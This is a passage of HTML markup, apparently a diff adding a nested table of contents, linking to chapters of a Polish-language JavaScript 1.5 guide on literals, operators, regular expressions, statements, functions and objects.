+<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y#Litera.C5.82y_obiektu" title="pl/Przewodnik_po_języku_JavaScript_1.5/Literały#Litera.C5.82y_obiektu">Literały obiektu</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y#Litera.C5.82y_znakowe" title="pl/Przewodnik_po_języku_JavaScript_1.5/Literały#Litera.C5.82y_znakowe">Literały znakowe</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Unicode" title="pl/Przewodnik_po_języku_JavaScript_1.5/Unicode">Unicode</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Unicode#Unicode_zgodny_z_ASCII_i_ISO" title="pl/Przewodnik_po_języku_JavaScript_1.5/Unicode#Unicode_zgodny_z_ASCII_i_ISO">Unicode zgodny z ASCII i ISO</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Unicode#Sekwencje_ucieczki_do_Unicode" title="pl/Przewodnik_po_języku_JavaScript_1.5/Unicode#Sekwencje_ucieczki_do_Unicode">Sekwencje ucieczki do Unicode</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Unicode#Wy.C5.9Bwietlanie_czcionek_z_Unicode" title="pl/Przewodnik_po_języku_JavaScript_1.5/Unicode#Wy.C5.9Bwietlanie_czcionek_z_Unicode">Wyświetlanie czcionek z Unicode</a></dd> + </dl> + </dd> +</dl> + +<h4 id="Wyra.C5.BCenia_i_operatory" name="Wyra.C5.BCenia_i_operatory">Wyrażenia i operatory</h4> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Wyra%C5%BCenia" title="pl/Przewodnik_po_języku_JavaScript_1.5/Wyrażenia">Wyrażenia</a></dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory" title="pl/Przewodnik_po_języku_JavaScript_1.5/Operatory">Operatory</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_przypisania" title="pl/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_przypisania">Operatory przypisania</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_por%C3%B3wnania" title="pl/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_porównania">Operatory porównania</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_arytmetyczne" title="pl/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_arytmetyczne">Operatory arytmetyczne</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_bitowe" title="pl/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_bitowe">Operatory bitowe</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_logiczne" title="pl/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_logiczne">Operatory logiczne</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operacje_na_%C5%82a%C5%84cuchach" title="pl/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operacje_na_łańcuchach">Operacje na łańcuchach</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_specjalne" title="pl/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_specjalne">Operatory specjalne</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory#Pierwsze.C5.84stwo_operator.C3.B3w" title="pl/Przewodnik_po_języku_JavaScript_1.5/Operatory#Pierwsze.C5.84stwo_operator.C3.B3w">Pierwszeństwo operatorów</a></dd> + </dl> + </dd> +</dl> + +<h4 id="Wyra.C5.BCenia_regularne" name="Wyra.C5.BCenia_regularne">Wyrażenia regularne</h4> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_wyra%C5%BCenia_regularnego" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_wyrażenia_regularnego">Tworzenie wyrażenia regularnego</a></dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%C5%BCenia_regularnego" title="pl/Przewodnik_po_języku_JavaScript_1.5/Zapisywanie_wzorca_wyrażenia_regularnego">Zapisywanie wzorca wyrażenia regularnego</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%C5%BCenia_regularnego#U.C5.BCywanie_prostego_wzoru" title="pl/Przewodnik_po_języku_JavaScript_1.5/Zapisywanie_wzorca_wyrażenia_regularnego#U.C5.BCywanie_prostego_wzoru">Używanie prostego wzoru</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%C5%BCenia_regularnego#U.C5.BCywanie_specjalnych_znak.C3.B3w" title="pl/Przewodnik_po_języku_JavaScript_1.5/Zapisywanie_wzorca_wyrażenia_regularnego#U.C5.BCywanie_specjalnych_znak.C3.B3w">Używanie specjalnych znaków</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%C5%BCenia_regularnego#U.C5.BCywanie_nawias.C3.B3w" title="pl/Przewodnik_po_języku_JavaScript_1.5/Zapisywanie_wzorca_wyrażenia_regularnego#U.C5.BCywanie_nawias.C3.B3w">Używanie nawiasów</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_wyrażeniami_regularnymi">Praca z wyrażeniami regularnymi</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi/U%C5%BCycie_odpowiedniego_znaku" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_wyrażeniami_regularnymi/Użycie_odpowiedniego_znaku">Użycie odpowiedniego znaku</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi/Globalne_wyszukiwanie,_wielko%C5%9B%C4%87_znak%C3%B3w,_wieloliniowe_wej%C5%9Bcie" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_wyrażeniami_regularnymi/Globalne_wyszukiwanie,_wielkość_znaków,_wieloliniowe_wejście">Globalne wyszukiwanie, wielkość znaków, wieloliniowe wejście</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi/Przyk%C5%82ady_wyra%C5%BCe%C5%84_regularnych" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_wyrażeniami_regularnymi/Przykłady_wyrażeń_regularnych">Przykłady</a></dd> + </dl> + </dd> +</dl> + +<h4 id="Instrukcje" name="Instrukcje">Instrukcje</h4> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Blok_instrukcji" title="pl/Przewodnik_po_języku_JavaScript_1.5/Blok_instrukcji">Blok instrukcji</a></dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_warunkowe" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_warunkowe">Instrukcje warunkowe</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_warunkowe#Instrukcja_if...else" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_warunkowe#Instrukcja_if...else">Instrukcja if...else</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_warunkowe#Instrukcja_switch" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_warunkowe#Instrukcja_switch">Instrukcja switch</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli">Instrukcje pętli</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_for" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_for">Instrukcja for</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_do_...while" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_do_...while">Instrukcja do...while</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_while" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_while">Instrukcja while</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_label" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_label">Instrukcja label</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_break" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_break">Instrukcja break</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_continue" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_continue">Instrukcja continue</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_manipulacji_obiektem" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_manipulacji_obiektem">Instrukcje manipulacji obiektem</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_manipulacji_obiektem#Instrukcja_for...in" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_manipulacji_obiektem#Instrukcja_for...in">Instrukcja for...in</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_manipulacji_obiektem#Instrukcja_with" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_manipulacji_obiektem#Instrukcja_with">Instrukcja with</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_komentarzy" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_komentarzy">Komentarze</a></dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_obsługi_wyjątków">Instrukcje obsługi wyjątków</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w/Instrukcja_throw" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_obsługi_wyjątków/Instrukcja_throw">Instrukcja throw</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w/Instrukcja_try...catch" title="pl/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_obsługi_wyjątków/Instrukcja_try...catch">Instrukcja try...catch</a></dd> + </dl> + </dd> +</dl> + +<h4 id="Funkcje" name="Funkcje">Funkcje</h4> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Definiowanie_funkcji" title="pl/Przewodnik_po_języku_JavaScript_1.5/Definiowanie_funkcji">Definiowanie funkcji</a></dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Wywo%C5%82anie_funkcji" title="pl/Przewodnik_po_języku_JavaScript_1.5/Wywołanie_funkcji">Wywołanie funkcji</a></dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zastosowanie_obiektu_arguments" title="pl/Przewodnik_po_języku_JavaScript_1.5/Zastosowanie_obiektu_arguments">Zastosowanie obiektu <code>arguments</code></a></dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane" title="pl/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane">Funkcje predefiniowane</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_eval" title="pl/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_eval">Funkcja <code>eval</code></a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isFinite" title="pl/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isFinite">Funkcja <code>isFinite</code></a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isNaN" title="pl/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isNaN">Funkcja <code>isNaN</code></a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_parseInt_i_parseFloat" title="pl/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_parseInt_i_parseFloat">Funkcje <code>parseInt</code> i <code>parseFloat</code></a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_Number_i_String" title="pl/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_Number_i_String">Funkcje <code>Number</code> i <code>String</code></a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_escape_i_unescape" title="pl/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_escape_i_unescape">Funkcje <code>escape</code> i <code>unescape</code></a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_zamknięciami" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_zamknięciami">Praca z zamknięciami</a></dd> +</dl> + +<h4 id="Praca_z_obiektami" name="Praca_z_obiektami">Praca z obiektami</h4> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_i_w%C5%82asno%C5%9Bci" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_i_własności">Obiekty i własności</a></dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów">Tworzenie nowych obiektów</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_inicjacji_obiektu" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Używanie_inicjacji_obiektu">Używanie inicjacji obiektu</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_konstruktor%C3%B3w_funkcji" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Zastosowanie_konstruktorów_funkcji">Używanie konstruktorów funkcji</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82asno%C5%9Bci_obiektu" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Indeksowanie_własności_obiektu">Indeksowanie własności obiektu</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82asno%C5%9Bci_typu_obiektu" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Definiowanie_własności_typu_obiektu">Definiowanie własności typu obiektu</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_metod" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Definiowanie_metod">Definiowanie metod</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_'this'_do_obiektu_referencji" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Zastosowanie_'this'_do_obiektu_referencji">Używanie 'this' do obiektu referencji</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_metod_pobierania_i_ustawiania" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Definiowanie_metod_pobierania_i_ustawiania">Definiowanie metod pobierania i ustawiania</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Usuwanie_w%C5%82asno%C5%9Bci" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Usuwanie_własności">Usuwanie własności</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane">Obiekty predefiniowane</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Array" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Array">Obiekt <code>Array</code></a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean">Obiekt <code>Boolean</code></a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Date" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Date">Obiekt <code>Date</code></a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function">Obiekt function</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Math" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Math">Obiekt <code>Math</code></a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Number" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Number">Obiekt <code>Number</code></a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_RegExp" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_RegExp">Obiekt <code>RegExp</code></a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_String" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_String">Obiekt <code>String</code></a></dd> + </dl> + </dd> +</dl> + +<h4 id="Detale_modelu_obiektowego" name="Detale_modelu_obiektowego">Detale modelu obiektowego</h4> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/J%C4%99zyki_oparte_na_klasach_vs._oparte_na_prototypach" title="pl/Przewodnik_po_języku_JavaScript_1.5/Języki_oparte_na_klasach_vs._oparte_na_prototypach">Języki oparte na klasach vs. oparte na prototypach</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/J%C4%99zyki_oparte_na_klasach_vs._oparte_na_prototypach#Definiowanie_klasy" title="pl/Przewodnik_po_języku_JavaScript_1.5/Języki_oparte_na_klasach_vs._oparte_na_prototypach#Definiowanie_klasy">Definiowanie klasy</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/J%C4%99zyki_oparte_na_klasach_vs._oparte_na_prototypach#Podklasy_i_dziedziczenie" title="pl/Przewodnik_po_języku_JavaScript_1.5/Języki_oparte_na_klasach_vs._oparte_na_prototypach#Podklasy_i_dziedziczenie">Podklasy i dziedziczenie</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/J%C4%99zyki_oparte_na_klasach_vs._oparte_na_prototypach#Dodawanie_i_usuwanie_w.C5.82asno.C5.9Bci" title="pl/Przewodnik_po_języku_JavaScript_1.5/Języki_oparte_na_klasach_vs._oparte_na_prototypach#Dodawanie_i_usuwanie_w.C5.82asno.C5.9Bci">Dodawanie i usuwanie własności</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/J%C4%99zyki_oparte_na_klasach_vs._oparte_na_prototypach#R.C3.B3.C5.BCnice" title="pl/Przewodnik_po_języku_JavaScript_1.5/Języki_oparte_na_klasach_vs._oparte_na_prototypach#R.C3.B3.C5.BCnice">Różnice</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem">Praca z przykładem</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/Tworzenie_hierarchii" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Tworzenie_hierarchii">Tworzenie hierarchii</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Własności_obiektu">Własności obiektu</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dziedziczenie_w%C5%82asno%C5%9Bci" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Własności_obiektu/Dziedziczenie_własności">Dziedziczenie własności</a></dd> + </dl> + </dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dodawanie_w%C5%82asno%C5%9Bci" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Własności_obiektu/Dodawanie_własności">Dodawanie własności</a></dd> + </dl> + </dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/Wi%C4%99cej_elastycznych_konstruktor%C3%B3w" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Więcej_elastycznych_konstruktorów">Więcej elastycznych konstruktorów</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci" title="pl/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności">Powrót dziedziczenia własności</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone" title="pl/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności/Wartości_lokalne_vs._dziedziczone">Wartości lokalne vs. dziedziczone</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Okre%C5%9Blanie_wzajemnych_relacji_obiektu" title="pl/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności/Określanie_wzajemnych_relacji_obiektu">Określanie wzajemnych relacji obiektu</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Globalne_informacje_w_konstruktorach" 